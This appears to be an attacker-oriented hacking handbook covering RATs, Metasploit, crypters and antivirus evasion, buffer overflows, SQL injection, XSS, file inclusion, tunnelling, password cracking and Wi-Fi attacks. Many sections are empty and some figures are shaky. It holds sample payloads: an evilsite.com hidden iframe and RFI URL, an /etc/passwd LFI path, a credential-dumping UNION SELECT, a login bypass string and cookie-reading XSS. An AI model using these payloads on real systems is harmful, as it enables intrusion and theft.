For python, Perl, Ruby, and other scripting languages.
To find useful exploits cat and grep
/pentest/exploits/exploitdb/files.csv
Warning! Some exploits may be unreliable.
Resources
Exploit code site
•
milw0rm.com ← Down
•
exploit-db.com
Remote Administration Tools
Theory
Remote Administration Tools or RATs allow an attacker to take
complete control of a remote computer, often allowing them to spy and infect
other users on a network. The goal of these tools is to make it easy for an
attacker to administrate many bots, and also, formulate attacks against other
targets using these bots.
Uses
Many free and commercial RATs are available for download. They
often allow an attacker to keylog, steal passwords, perform flood attacks, and
even remotely view the users screen and webcam.
Attacker often route their internet connections through infected hosts
when attacking servers to ensure anonymity.
Darkcomet
CyberGate
Solitude
Cerberus
Blackshades
Metasploit
Metasploit is a open source exploitation framework used to
simply and easily write exploit code for applications. It is written in Ruby
and extremely powerful. It has many great features which make it a great
addition to any pen-testers library
msfconsole
This program opens an interactive console for Metasploit.
This lets us pass commands to Metasploit in an interactive
environment.
From here we can type commands directly to MSF.
msfcli
msfweb
msfgui
Updating Metasploit
Exploitation
Payloads
Meterpreter
Encoders
Auxiliary
Credential Collection
db_autopwn
Browser Autopwn
Anti-virus Bypass
Theory
Anti-virus bypassing is any sort of program that attempts to
bypass and ant-virus to get a malicious program on a machine. This often times
is done by using code obscurification techniques to hide the malicious code.
Droppers
Droppers are programs that contain no malicious code but, go
out to the internet and download and execute a malicious program.
Theory
Droppers are a semi competent threat, despite being picked up
by anti-viruses most of the time.
However, the age old rule applies that, the longer a dropper
has been around, the more susceptible it is to being caught. Newer droppers
might not have this problem.
They are dangerous because an anti-virus can't keep tabs on
everything running on a computer in real-time. Abusing this, a dropper
downloads a program inconspicuously and then loads it into memory without a
users consent.
Crypters
Crypters are programs designated to encrypt an executable so
an anti-virus may not pick it up.
Theory
Crypters work by encrypting an executable using any number of
methods and then, affixing a program, called a stub, to the front of it to
decrypt the code. This allows us to have better control over the conditions our
code runs in and, ensure undetection by way of hiding our executable in other
processes.
The Encrypter
The encrypter works in this fashion:
1.
Generate a stub source code file.
2.
Compile the stub.
3.
Place the stub at the beginning of a file.
4.
Place a unique separator after the compiled
stub.
5.
Open a malicious executable.
6.
Encrypt this executable.
7.
Place the encrypted executable at the end of the
file.
When the executable is run, the stub springs into action and
decrypts and runs the code.
The Stub
A stub works like this:
1.
Find the current directory of the process.
2.
Open the executable.
3.
Look for the unique separator.
4.
Take only the encrypted executable and save it.
5.
Decrypt the executable.
6.
Inject the decrypted executable into a random
process but, first, try to inject into explorer.
Antis
Antis are functions in a crypter that stop the executable
from running if certain programs are running. For instance, a common “anti” is
to stop the execution of the program if you are inside a VMWare virtual
machine. Another is to not run if Sandboxie is running. Antis are generally a
smart idea if you are afraid that your executable might come under inspection
at some point.
Junk Code
Junk code is a technique used by malware authors to change
the overall code of their program by adding segments of code that do not alter
the program at all. A common junk code is to create an array and fill the array
with random numbers, then read the numbers, then delete the array.
Buffer Overflows
This attack are one of the most commonly exploited attack
according to OWASP. This attacks potency
can range from a DoS attack to a full system compromise, making it a dangerous
vulnerability to have present.
Theory
Buffer Overflow – An exploit that presents itself in
C/C++ languages but, theoretically, can be exploited in any language that
allows a program to commit data to memory without first checking the bounds of
said data. A buffer overflow occurs when a program commits user input to memory
without first checking the bounds of that data. When committed to the stack it
causes a segmentation fault. This results in a crash under normal
circumstances. However, in an attack, an attacker can overwrite the EIP
register using the return value on the stack, allowing an attack to gain
control of program flow. Depending on the severity of the exploit and the
protections in place, exploiting it may be different under each circumstance.
Consider this code.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char
buffer[8];
strcpy(buffer,
argv[1]); //Moves 1st arg into buffer
printf("buffer
is %s%n", buffer);
printf("DONE!%n");
return
0;
}
This code creates a buffer which accepts 8 characters.
However, there is no bounds checking done. As a result, an exploiter could
input over 8 characters into the buffer and, have it still write to memory.
This would overflow the buffer, and when written to stack will overflow into
the stack causing a segmentation fault. This could possibly allow an attacker
to take control of the program flow.
Protections
As a result of widespread exploitation, many protections have
been developed to combat exploitation.
ASLR – Stands for Address Space Layout Randomization.
This protection randomizes the top bit of program code, and the stack, making
it harder for exploiters to reliably locate certain lauchpad commands. It's
extremely popular and used in almost everything.
DEP – Stands for Data Execution Prevention. This comes
in two forms, hardware and software, and is controlled by the /NX flag. The
hardware version disables executable memory, stopping exploits from succeeding.
A developer can still set certain memory areas as executable, in case they need
to execute data from it. Software DEP is analogous to SafeSEH.
Stack Cookies – Controlled by the /GS flag. This puts
a random 8 byte key before the saved EIP in the stack. Before a return is
called, the program checks the key against on in the system. If they don't
match up (meaning a overflow occurred and EIP is modified), it stops execution
and terminates the program to prevent exploitation.
SafeSEH/SEHOP -
A compiler option that sets a linked list of SEH pointers. If a SEH
pointer doesn't match up with the list, it is not executed and the program is
terminated.
NoSEH – This disables SEH, stopping exploits that rely
on it.
Common Attacks
Despite the ample amount of protections, they aren't all
fool-proof.
Launchpad – This technique is used to bypass ASLR. Due
to the stacks address randomization, you can't directly jump EIP to the top of
the stack, since the address won't be the same after reboot. Instead, you find
a non-ASLR module and search for a JMP ESP command. Using this, you can jump to
the top of the stack reliably.
SEH Overwrite – This takes advantage of SEH chains
with no protections. You overwrite an SEH pointer with your own code, letting
it go to a launchpad.
Egghunters – An egghunter is a piece of shellcode
meant to rip through pages in memory looking for a specific pattern called an
egg key,. This egg key is usually 8 bytes in length. Skape wrote a large paper
on the subject, detailing different methods one could use to rip through memory
without triggering exceptions.
Bypassing Stack Cookies – Stack cookies are a huge
problem for exploiters as it is difficult to get around them. The easiest
method is to overwrite the SEH chain and then trigger an exception before the
check method is reached. This method is easily broken by SafeSEH or NoSEH.. The
other way is to figure out a way to guess or calculate a stack cookie. Skape
also wrote a piece on reducing the effective entropy of a stack cookie.
Problems
Bad Characters – Bad characters are bytes that have
special meaning or, are specially filtered out or transmuted during an exploit.
Common ones are 0x00, 0x0a, 0x0d. 0x00, for example, is a C++ string terminator
and when used in an exploit, deletes everything past the 0x00 byte. 0x0a and
0x0d are carriage return and line feed characters.
Null Byte Addresses – Main program code (code
contained within the executable itself) starts at 0x00??0000. As a result, one
cannot use address from the main executable as the will contain a 0x00 byte.
Character Transmutation – This is a problem that
happens when a buffer is first filtered or encoded before committing to a
buffer. For instance, a program that might strip out any non-ASCII characters
(00-7F). Anything higher will get transmuted. This also happens in UNICODE to
ASCII translation as well.
Fuzzers
Fuzzer – A debugging program made to find buffer
overflows by varying buffer size.
SPIKE - A well
made fuzzing application. It has it's own scripting language.
Sfuzzer – A simple fuzzer meant to be a easier
solution to SPIKE.
Fuzzing works by passing commands to a server with varying
data sizes. If the program crashes during a fuzz, it is possibly vulnerable to
a buffer overflow. For instance, take a program that accepts network data and
then copies this data to the stack. A fuzzer will try A x 20 for the data. If
that doesn't crash it, it will send A x 40, and so on and so forth. If the
program does no bounds checking, it will eventually crash when the buffer size
gets to big and overwrites EIP.
Web Based Attacks
Web based attacks are a very large set of attacks that can be
performed on web applications. Often, these attacks involve a program not
sanitizing user supplied data correctly.
Zero Frames and Zero Images
Zero frames and zero images are a form of obscurification,
hiding HTML from the view of a webpage. Zero frames are created by setting an
iframes width and height to zero or one, resulting in a webpage being rendered
that a user cannot see. This is a common way for attackers to hide malicious
code in legitimate webpages, infecting users without their knowledge.
<iframe
height=0 width=0 src=”http://evilsite.com”></iframe>
Zero images work on the same principle but, instead, with an
image. You can't render an entire webpage with it though. It is more commonly
used to exploit cross site request forgery attacks.
Command Execution
Command execution takes advantage of unsanitized user input,
which allows an attacker to inject commands directly into the server. This
vulnerability usually takes advantage of a shell_exec() function in PHP.
Command execution techniques vary from OS to OS. Linux, for
instance, with zero user input sanitation could be compromised with.
•
[space]&[space][command]; [command];
However, be aware that in most scripts, you may have to
satisfy certain requirements before the input will be passed along.
Cross Site Request Forgery
Cross Site Request Forgery or CSRF, is an attack that abuses
authentication mechanisms that allow users to stay logged in even after the
website is closed from the browser. CSRF allows an attacker to force a user to
perform actions without their knowledge or consent. How it works is, an
attacker makes a URL that links to an action performed on a site. For instance,
•
http://www.vulnsite.com?password=”ichangedthis”&passwordconf=”ichangedthis”&submit=submit
This example, if opened by a authenticated user, would change
their password to “ichangedthis”. If the links is opened directly, this would
show the user the action was performed. A better way to do it is to wrap the
URL in <img> tags to make a zero image. This would result in a hidden
image that, when loaded, would cause the action to be performed without the
users knowledge. You can also use a zero frame for this.
File Inclusion
These attacks revolve around files being included in PHP
without restriction.
•
http://vulnerablesite.com?page=include.php
This kind of attack contains two types of attacks, LFI (Local
File Inclusion) and RFI (Remote File Inclusion).
Local
A LFI takes advantage of the ability for one to traverse
directories locally, without interference, on the system. As a result certain
files could be given to the attacker like, for instance, the /etc/passwd file
on linux.
•
http://vulnerablesite.com?page=/etc/passwd
Remote
A RFI takes advantage of being able to load other files into
the include. This can be more dangerous, as it can allow an attacker to run
commands using the shell_exec() function in PHP.
•
http://vulnerablesite.com?page=http://evilsite.com/evil.php
SQL Injections
A form of attack meant to pass commands directly to an SQL
server by using escape characters and malformed input. It can also be used to
bypass authentication mechanisms by way of forcing a field to be true. It can
also trick an SQL server into revealing database information.
URL
Say we have a site.
This site loads a page called updates.php in which the URL
passes parameters to.
Here we can pass parameters to the PHP application by
changing the 1 in the URL to whatever we want. From here, we can begin testing
to see if the site properly filters user input. It's easy to check this by
passing the application a character that would raise an exception in the MySQL
database. We can achieve this with a single quote ( ' ) character.
We can tell if the application is vulnerable if an error is
thrown.
You
have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ''' at line 1
We can see that user input is not filtered properly and, as a
result, we will be able to inject our own SQL statements.
First, we need to identify how many columns are in the table
that controls the data on the page. We can do this by issuing commands tot he
server via the URL, that will throw an error if a column does not exist. The
ORDER BY statement will work for this.
Alternatively, you can also use
This will most likely produce no errors, as the database will
more than likely have more that one column. We slowly increase the amount until
an error is thrown.
Unknown
column '20' in 'order clause'
Once we get the error, we can infer that the table has one
less than the page that threw the error, since it worked before the number was
increased again.
Once we know this, we can begin injecting data directly into
our page in attempt to find “vulnerable columns”. The goal is to find someplace
on the page to display the data we will be collecting later. We do this with a
UNION SELECT statement. We for the statement with as many columns as we found.
Also note that we change the page id to one that is not
likely to exist, -1. This allows us to easily identify vulnerable columns.
Upon doing this we can inspect the page and see some of the
numbers in our UNION SELECT showed up on the page. These numbers represent our
vulnerable columns. We can inject commands and use these vulnerable columns to
render this data visible to us.
We can inject a variety of commands in here to better
understand the back-end servers.
For this example, we will pretend 1,2 and, 3 are all
vulnerable columns.
This will put the current database version number in column
one, the current database user at column two and, the database name at column
three.
Next we are going to want to get the table names from the
information_schema. Please be wary of the version number, MYSQL 4 will not let
you read from the information_schema without elevated privileges.
This will stuff the table names, separated by commas, into a
vulnerable column. This allows us to see all the tables that we may want to
compromise. By using this, we can begin to enumerate the contents of the
tables.
For this example, we will pretend that the tables listed were
content, users, and admin.
This will tell us all the column names for the table users.
Once we get these, we can begin pulling out relevant information.
For this example, we will pretend the columns listed for
users were, username, password, email, and id.
•
www.vulnsite.com/updates.php?id=-1
group_concat(username,0x3a,password,0x3a,email,0x3a,id),2,3,4,5,6,7,8 from
users;#
This prints all the table data to the screen and, separates
each column with a colon (0x3a).
Here we have completed our attack and, accessed the
previously hidden table data.
Authentication Bypass
This kind of attack is done by forging SQL queries that will
always return true. This way we can bypass the login of a site, allowing us
access, without a legitimate account.\
An example would be a site that takes both a username and a
password.
Upon putting in a correct username and password, a user can
get in. Upon putting in a wrong username and password, a person is denied
access.
This is done through an SQL query similar to this.
•
SELECT * FROM users WHERE username='$user' and
password='$pass';
By escaping the quotes, we can authenticate ourselves without
even knowing the password and sometimes, even the username.
A simple authentication bypass statement would look like
this.
•
User: admin Password: 1' OR '1' = '1';#
This would make the statement:
•
SELECT * FROM users WHERE username='admin' and password='a'
OR '1' = '1';#';
Since the end quote and semicolon are commented out, the
statement's syntax is correct. Above that, we can see that the statement in the
password section will always equal true, since 1 is always equal to itself.
Blind
SQLmap
SQLMap is a tool for automated SQLi attacks. This will
automatically find and pull vulnerable columns, and also, display the data from
the tables it enumerates.
First off we need to use SQLmap to get a list of the
databases.
This will brute force the available databases, allowing us to
continue with our next step, enumerating the tables.
Lastly, we can dump a tables contents using the dump option.
Cross Site Scripting (XSS)
Cross site scripting or XSS allows an attacker to inject code
into URLs or webpages. These attacks often lead to mass compromises, since the
attacker can upload things like java drive bys into a reputable website. These
attacks commonly are used to steal authentication cookies, allowing an attacker
to impersonate a victim.
Non-Persistent
These attacks aren't as bad as a persistent attack but, can
be just as damaging.
The attack involves abusing some form field or URL parameters
that are not sanitized. This allows an attacker to craft a special URL that
when the victim opens, will reflect attack code onto the webpage.
This kind of attack is the most popularly exploited.
It involves storing code in the URL parameters, allowing an
attacker to give a specific URL to people and, when the follow it, it will
render attack code on the page.
Persistent
Persistent XSS attacks allow an attacker to post client-side
code directly into the webpage. This has obvious malicious implications as
anyone who visits that site can become compromised.
For instance, imagine a website that takes a comment and
posts it onto a webpage. An attacker could store HTML code into the comment, of
proper character checking is not in place.
For example an attackers comment could be:
However, that is not malicious but, does allow us to test the
problem. We can be more malicious with:
<Script>
alert(document.cookie);
</Script>
This will display the current cookie for the domain.
In some cases the script tags can be filtered out by a
script. However, script tags aren't the only dangerous thing.
<a
href=”Fake.html” onHover=”javascript:alert(document.cookie);”>FAKE</a>
This will run javascript if the link is hovered over. Other
methods could be iframe or zero image attacks.
Web Based Exploitation Frameworks
OWASP Mantra
OWASP Mantra is a penetration testing minded browser which
has many add-ons and tools built into it for testing web site vulnerabilities.
It comes in two versions, Chromium (Windows only) and Firefox (Windows/Linux).
Port Tunneling
Port Tunneling – Redirecting network traffic to a port
or proxy as to avoid detection, firewalls, or network blocks.
Theory
In the following example the attacker is in the cloud and the
victim is behind a firewall that blocks all traffic in port X.
Tunneling works like so:
1.
The attacker connects and sends data to the
proxy on port X.
2.
The proxy then forwards the data from port X to
port Y.
3.
The victim receives the data on port Y and send
out a reply through Y.
4.
The proxy forwards the data from port Y to port
X.
5.
The proxy sends the data through port X to the
attacker.
In this example there is a middle man (The proxy) which
redirects all the traffic. This helps the attack communicate with the victim
because the firewall block all traffic on X but, not on Y.
This also can help to protect your anonymity.
HTTP CONNECT Tunneling
HTTP CONNECT has a wonderful feature where we can tunnel
traffic over HTTP to a specific port. This uses a server as a proxy to reach
the internet.
All we do is netcat into a HTTP CONNECT server and type the
following:
•
HTTP CONNECT [server]:[port} HTTP/1.0
SSL Tunneling
SSL Tunneling is a technique to add SSL functionality to
programs or protocols that normally don't have SSL. This is useful when in an
environment that might have certain SSL ports blocked or, you have a need to
have a secure communication between protocols that have no encryption. However,
the accepting party must have SSL enabled on their server or it will just drop
the SSL traffic. This can be done by either setting SSL up for a specific
protocol or, setting stunnel in server mode.
stunnel
stunnel – A free port forwarding tool. It is used as a
wrapper to encrypt incoming and outgoing network traffic using SSL.
Stunnel also lets us bypass firewalls and IDSs since the
traffic is encrypted and, we can send it through a legitimate SSL port such as
443.
Stunnel's configuration file is located in
/etc/stunnel/stunnel.conf.
Once we have edited the configuration file, we can start
stunnel using
Be sure you have a certificate file and, it is pointed to in
the stunnel configuration file.
SOCKS
SOCKS is a proxy server that allows all port traffic through,
allowing for a more comprehensive sense of anonymity.
SSH Tunneling
SSH Tunneling – A tunneling protocol that connects to
a computer using SSH and then redirects traffic from the SSH session to a port.
Since the client is not only the client but, also the middleman, it makes
things much faster.
Local
Local SSH port forwarding involves redirecting traffic from a
port on the client and forwarding it through the SSH session to a local port on
the ssh server.
•
ssh -L [local-port]:localhost:[server-port]
[host]
This will redirect 8080 on the client to the servers port 80.
Remote
Remote port forwarding allows you to connect to a server
through another SSH server
•
ssh -R [local-port]:localhost:[server-port]
[host]
This would let the host connect to your port through the SSH
tunnel by pointing his client to localhost:5900
Dynamic
This lets us forward all traffic through SOCKS and is a
wonderful solution for complete network security.
•
ssh -C -D [port] [host]
With this we can easily set up most clients to use the proxy
settings and be allowed full anonymity.
Tor
Tor – A system of proxies acting as nodes to protect
anonymity and information. All the data is encrypted over the tor and it
provides good route security.
Theory
Tor works by not just using one proxy but, by using many in a
route sequence. Tor uses a large amount if nodes. In every connection a random
route is chosen, ensuring that anonymity is kept.
Installing
Using
Authentication Vulnerabilities
Theory
Authentication mechanisms are something that must be treated
with the utmost security and cautiousness. However, some technologies still
used today have extremely weak authentication systems in place. Often, some
services send data completely in plain-text.
Problems With Networks
The big issue with networks is that someone can insert
themselves in between a client and a server, allowing them to hear all traffic
between them. Despite this there are secure ways of exchanging information even
if a third party is listening.
Plain Text
This is the most vulnerable to attack. Usernames and
passwords are sent in plain-text, allowing anyone to listen in. While this is
the easiest to implement, this is the least secure.
FTP, POP, SMTP, and HTTP all use clear text systems.
Hashing Systems
Hashing systems involve encrypting a password one way. This
means that I can turn a password into a hash but, I can't get a password back
if I only have the hash. This adds a layer of security but, is a flawed methodology.
Since the hash is as good as the password itself, it is considered just as
good. As a result, one only needs to obtain the hash and they can compromise a
user account.
SMB uses a hash system.
MD4
DES
MD5
SHA1
NTLM
MYSQL
Challenge Systems
Challenge systems take a better step in the right direction,
however, can be flawed as we will see in the here be dragons section. Challenge
systems build upon the hash system. When a computer comes to connect to a
server, the server asks for the password and gives the client a challenge. This
challenge can be any length but, for the sake of pacing, it will be only 4
characters longs. So the server gives the client the challenge 4444. The client
then takes the password hash and one way encrypts it again, now using the
challenge. The client sends the challenge/hash text back and the server
compares the encrypted hashes. Challenges are randomly created at the time of
connection.
Basically, the third party only gets the challenge and the
encrypted hash. Since the encryption is one way, they can't do much with it.
This also breaks most brute-force, dictionary,and rainbow table attacks as the
client now has much more to do than just sending the password, he has to hash
the password and then encrypt it using a challenge. This boosts the instruction
amount, making it take much longer.
Common ways around this are to force a client to connect to
you and send them the insecure challenge 1234. People have written tools and
crackers based around this insecure hash and, as a result, one can often guess
the password.
SMBv2 users a challenge response system.
Uneven Algorithms
Uneven algorithms are the hardest to break and, involve a
high amount of security. This involves creating two sets of keys, a public and
private key. The public key is given to the client while, the private key is
kept for oneself. The public key is used to encrypt data, while, the private
key is used to decrypt it.
The only thing the attacker can gain is the public key, which
can only encrypt data, therefore being worthless to the attacker.
SSH uses uneven algorithms to encrypt data.
Here Be Dragons
This section is about mistakes made in the industry over the
years but, mostly criticizes Micro$oft.
Back in 2008 Microsoft released a patch for a vulnerability
called the SMB credential reflection attack. The attack was made popular by the
Metasploit module made to leverage the vulnerability. Since SMB uses a hashing
system, the hash is as good as the plain-text password. As a result, someone
found that you could trick a computer into giving up the username and password
hash of a victim. The attack worked by referencing a SMB share in a webpage by
way of <IMG> tags. When the victim loaded up this webpage the computer
attempted to access this share by first trying a user's name and password. All
that was needed by the server is to reflect the information back and they would
have access to the users account. A patch was eventually released.
Later in 2011, a person on exploit-db came forward with an
attack aimed at SMBv2. This vulnerability leveraged an attack on the way SMBv2
handles challenges. The challenges weren't truly random and, as a result, an
attacker could use this to gain access to the system.
How it works is, an attacker first attempts a connection to
an SMB server. The server offers it a challenge, and then stores it. It then
makes a new connection and gets a new challenge. It repeats this until it has
around 8000 challenges. Then, the victim opens their web browser and is sent to
a webpage with a refreshing javascript image linked to the servers SMB share.
When the victim connects it offers it a challenge that it got previously. It
does this until it collects all the challenge, encrypted has combinations.
Then, the server connects back to the victim and keeps reconnecting until it
gets a challenge it knows the answer to. It then replays the hash and gains
access.
This was a huge mistake on Micro$oft's part as twice their
default service has had huge gaping authentication holes that were leveraged in
very similar ways.
The moral here is to figure out what the problem really is.
The problem here wasn't necessarily the authentication system but, the fact
that images could be linked to SMB shares in HTML. Microsoft could have easily
disabled this as no-one uses this feature. Instead they beefed up security but,
ultimately left this huge gaping hole and, they paid for it.
Password Attacks
Passwords are one of the weaker links in the security chain,
and often times, we must add huge amounts of security to password systems to
ensure there are protections for users. Most breaches are of those involving
passwords, since humans will often use the same weak password for every account
they own, allowing an attacker to breach all of their online accounts.
Theory
Password attacks often involve a form of password guessing,
either online or offline. Some users can be easily profiled for their
passwords, making this significantly easier. Others may have passwords that
can't be profiled but, easily guessed or, compromised in a different fashion.
Others might have secure passwords but, are still vulnerable to guessing
attacks or, the password hash is easily available, allowing an offline attack.
As a result, password systems can often be defeated if simple systems aren't put
in place to mitigate attacks.
Strong Vs. Weak Passwords
Weak passwords often have many associated weaknesses that can
make them easily guessed.
Weak passwords often times:
•
are a single word
•
less than 10 characters
•
use only one character set (Ex: A-Z only)
These characteristics make them easily guessed and,
dangerous.
A strong password usually has these characteristics:
•
Multiple words
•
more than 10 characters
•
uses more than one character set (Ex:
a-z,A-Z,1-9,symbols)
Some examples of weak and strong passwords.
|
Weak
|
Strong
|
|
easy
|
N0ts034sy!
|
|
weakpassword
|
5T0n9P4$$w0rD**
|
Brute Force
Brute-forcing is a password attack that guesses the password
by starting at a base and adding one position to the password until it gets the
right one. These attacks can take a while, especially when passwords have a
high character count.
This attack can be done in both online and offline attacks.
However, it is most suitable for online as, there are better and faster ways to
get a password in an offline situation.
Ways to mitigate this is to either, make a large instruction
set for sending the password, such as having to encrypt the password using a
Caesar cypher according to the current server date. This ups the instruction
count, making it take longer. Another way would be to implement a lockout of
the service when a certain amount of tries are used. Linux handles this by
making it so the hashes can only be compared every 5 seconds, so when a password is guessed wrong, they can't compare
again until the time limit is up.
Dictionary
Dictionary attacks are done using a wordlist, which is a
giant list of possible passwords. The attacker goes through each list and
attempts to find a valid password. The wordlist can be any size, however, they
often use only dictionary words and common passwords.
This attack can be done in both online and offline attacks.
It is a suitable attack for both, however has a low yield, since the password
might not be on the list.
You can mitigate this attack with most of the techniques in
the brute-force section.
Rainbow Tables
Rainbow tables are an offline only attack that is considered
the best solution for offline attacks. It involves creating a giant list of all
the hash, plaintext password possible for a given set, such as characters
a-z,A-Z,1-9,0,symbols up to characters 1-10. This could crack just about any
password in our set, up to 10 characters.
Brute-force and dictionary attacks both cost a lot CPU wise,
rainbow tables relieve some of the load but, take up a lot of space of disk.
The table mentioned above would be roughly 250GB-500GB in size.
Rainbow tables take a long time to generate and, as a result,
most are paid for. However, there is a group that makes them for free by using
the community as a giant cluster.
GPU Cracking
This technique leverages Nvidia CUDA GPUs to do more work
quicker.
Misconceptions
In all actuality, the guidelines I gave earlier for strong
passwords are actually a little off. The truth is that the passwords I listed
as “strong” passwords, aren't so strong but, in the scheme of things, can be OK
for some applications.
Consider this character set which we will call the “Strong”
Character Set (SCS):
a-z,
A-Z, 1-0, symbols(!@#$%^&*()-+_=?)
The total amount of characters in the set:
a-z
= 26
A-Z
= 26
1-0
= 10
symbols
= 15
Total:
77
Now consider a character set aptly named the “Weak” Character
Set (WCS):
The total number of characters in the set
a-z
= 26
1-0
= 10
Total:
36
First off, we will make a password fitting the guidelines of
the first section and, follows along with the
character set SCS, M0un741n5**.
First thing we should talk about the is the cons of this
password. It's difficult to remember. It contains a huge character set and a
lot of confusing symbols. In fact, I'm willing to make a bet the most people
won't be able to remember if the o in password was a 0 or an o. However, lets
take a look at how long it would take to crack the password containing these
guidelines, brute-force style.
M0un741n5**
Chars:
11
Character
set length: 77
Entropy
of each character: We will assume 2
Total
bits of entropy: ~28 (I made a pretty generous addition in it's favor)
Amount
of guesses needed: 222
Time
needed to crack: About 3.1 days at 1000 guesses a second.
Now lets make a password using WCS but, we will up the character
count, allowing us to make a more secure password.
First, lets take a phrase and remove all the spaces, and then
tack the number of words in it to the end, for this example it will be,
thispasswordseemsunsecure4.
thispasswordseemsunsecure4
Chars:
26
Character
set length: 36
Entropy
of each character: We will assume 1.5
Total
bits of entropy: ~54
Amount
of guesses needed: 254
Time
needed to crack: So long, I couldn't even calculate the time.
This password is easy to remember and, is hard for computers
to guess.
XKCD made a joke about
this in a comic, the punchline says, “Over the past 20 years, we've taught
people to use passwords that would be hard for humans to remember and, easy for
computers to guess.
hydra
xhydra
medusa
ncrack
Wireless Attacks
Theory
Wireless attacking has become extremely popular in the last
couple of years due to it's extreme popularity and lax security standards. The
biggest issue is that, unlike wired networks, it is easy to listen in on all
communication that transpires between a client and an access point.
WEP
Wired Equivalent Privacy or WEP was the first wireless
privacy standard to be released. In it's beginnings, many white hat researchers
wrote papers detailing WEPs huge gaping flaws however, their security concerns
were ultimately ignored. WEP still remains the most popular wireless security
standard despite being hard to use, having cryptic keys, and is easily broken.
WEP can have multiple keys, however, this does not make the
point more secure.
WEP works by encrypting the password with an RC4 symmetrical
key.
The frame body of the packet contains an initialization
vector or IV, the encrypted data, and an integrity check value or ICV which is
an encrypted checksum. The IV is 3 bytes and ICV is 4 bytes in length.
IVs are generated randomly and prepended to the packet. IVs
work as a cryptographic salt and are also used in packet generation. During
packet generation, the IV is prepended to the WEP key, then encrypted using the
RC4 algorithm.
The RC4 algorithm is made up of two processes, a Key Sharing
Algorithm (KSA) and a Psuedo-Random Generation Algorithm (PRGA).
Next an ICV is formed on the data, allowing it to be checked
for integrity. The data is prepended to the ICV. This concatenated data is then
XORed with the RC4 encrypted IV/WEP key combo. Afterwards, the IV is again
prepended to the encrypted data.
The finalized packet looks like this.
|
Not Encypted
|
Encypted
|
|
IV (3 bytes)
|
Data
|
ICV (4 bytes)
|
WEP Cracking
Cafe Latte
Cafe Latte is an attack that was mainly performed in coffee
shops but, can be performed anywhere there is a computer attempting to reach a
wireless network that is no longer in range. The attack involves a computer
broadcasting that it is looking for a specific network. An attacker can pretend
to be this network get the access point to give up the wireless password.
ARP Replay
Korek's Chop Chop Attack
Korek's Chop Chop Attack was an attack that allows the
decryption of packets due to a flaw in packet validation on the AP's part.
The attack works by first obtaining an encrypted packet. The
packet is split up into 3 parts, the IV,
the encrypted data, and the ICV. The attacker then chops off the last
byte and, sets the byte to 00. It then recalculates the ICV using a special
method Korek invented.
Once the ICV is recalculated, it is sent back to the AP. If
the byte was right, the AP will say it is correct, if it is not, the AP will
tell the attacker the packet was wrong. The attacker then increments the 00 byte
and, resubmits. It does this until it gets a correct response. It then moves to
the next byte, doing the procedure over and over until it has fully decrypted
the packet.
The attack manages to guess each byte within 128 tries, since
the max it can go is 256. This attack can eventually yield a password, if done
correctly.
Hirte Attack
Fragmentation Attack
WPA
WPA Cracking
WPA2
WPA2 Cracking
WPS
WPS (Wi-Fi Protected Setup) is a security feature common to
most routers that comes in two varieties the PIN and button. WPS works to allow
easy sharing of WPA/WPA2 passwords with a client who needs a connection. For
the PIN version, the network administrator can give a WPS PIN to a client to
allow them to connect. The button version sends the PIN to any client who
connects when the WPS button is pressed on the router.
WPS Cracking
WPS cracking involves using two tools, wash and reaver to find vulnerable networks and bruteforce the PIN.
Wash
Wash is a tool to
find WPS vulnerable access points. First, ensure your card is in monitor mode
(See: airmon-ng) then, use the following command to begin scanning for
vulnerable networks.
Wash will then find all vulnerable access points and display
them. Access points that have WPS Locked set to no are vulnerable to attack,
while a yes in that same column denotes it is invulnerable to attack.
Reaver
Reaver is a tool that can be used to brute-force an access
points WPS PIN.
•
reaver -i [interface] -b [bssid] -vv
Reaver will save your session if you decide to leave/stop an
attack, and will resume when the command is run again.
DoS Attacks
Deauthentication Attacks
This attack involves sending massive amounts of deauth frames
to a computer (or all computers) connected to an access point. By faking the
MAC address of the access point the victim believes the request is legitimate.
Man In The Middle
The wireless man in the middle attack abuses computer trust
for wireless access points. The attack revolves around the fact that a computer
will auto-connect to an access point that is the closest signal and if it is
already known.
Social Engineering
